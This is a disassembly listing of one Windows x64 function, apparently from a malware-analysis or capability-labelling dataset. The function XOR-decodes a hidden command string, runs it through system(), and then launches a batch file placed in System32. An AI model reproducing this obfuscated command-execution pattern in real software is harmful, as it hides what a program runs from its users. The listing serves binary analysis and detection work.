Function at 0x140047300
Capabilities:
Create process on windows
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x38]
sub rsp, 0x130
mov rax, qword [0x1401d4200]
xor rax, rsp
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [0x1401ac410]
movups xmm1, xmmword [0x1401ac420]
mov eax, dword [0x1401ac460]
movups xmmword [rbp - 0x60], xmm0
movups xmm0, xmmword [0x1401ac430]
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rdi
xor edi, edi
cmp dword [reloc.WS2_32.dll_accept], 2
mov ecx, edi
movups xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x1401ac450]
movups xmmword [rbp - 0x50], xmm1
movups xmm1, xmmword [0x1401ac440]
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x10], eax
jl 0x1400474bc
movdqa xmm0, xmmword [str.7777777777777777]
lea rdx, [rbp - 0x5c]
movdqa xmm5, xmmword [0x1401ac780]
movdqa xmm4, xmmword [0x1401ac940]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1401ac7b0]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1401ac7f0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401ac7f0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x50
jl 0x1400473b0
movaps xmm6, xmmword [rsp + 0x120]
cmp ecx, 0x54
jge 0x1400474fd
movsxd rax, ecx
lea r8, [rbp - 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x54
jl 0x1400474d0
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
mov dword [rsp + 0x28], edi
xor eax, eax
mov qword [rsp + 0x20], rdi
movups xmmword [rbp - 0x60], xmm0
lea r8, str.C:WindowsSystem32mac.bat
xor edx, edx
movups xmmword [rbp - 0x30], xmm0
lea r9d, [rax + 0x1b]
mov ecx, 0xfde9
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp], rax
movups xmmword [rbp - 0x50], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp - 0x24], 1
movups xmmword [rsp + 0x60], xmm0
mov word [rbp - 0x20], di
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
xorps xmm0, xmm0
xorps xmm1, xmm1
lea rcx, [rbp - 0x80]
mov r8, rbx
movups xmmword [rbp - 0x80], xmm0
movdqu xmmword [rbp - 0x70], xmm1
call fcn.14004c9b0
cmp qword [rbp - 0x68], 7
lea rdx, [rbp - 0x80]
mov dword [rsp + 0x28], ebx
lea r8, str.C:WindowsSystem32mac.bat
cmova rdx, qword [rbp - 0x80]
mov r9d, reloc.WLDAP32.dll_Ordinal_27
mov qword [rsp + 0x20], rdx
mov ecx, 0xfde9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp qword [rbp - 0x68], 7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x80]
cmova rdx, qword [rbp - 0x80]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x68]
mov rdi, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x14004766e
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047669
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140047669
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14016a950
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14016a220
add rsp, 0x130
pop rbp
ret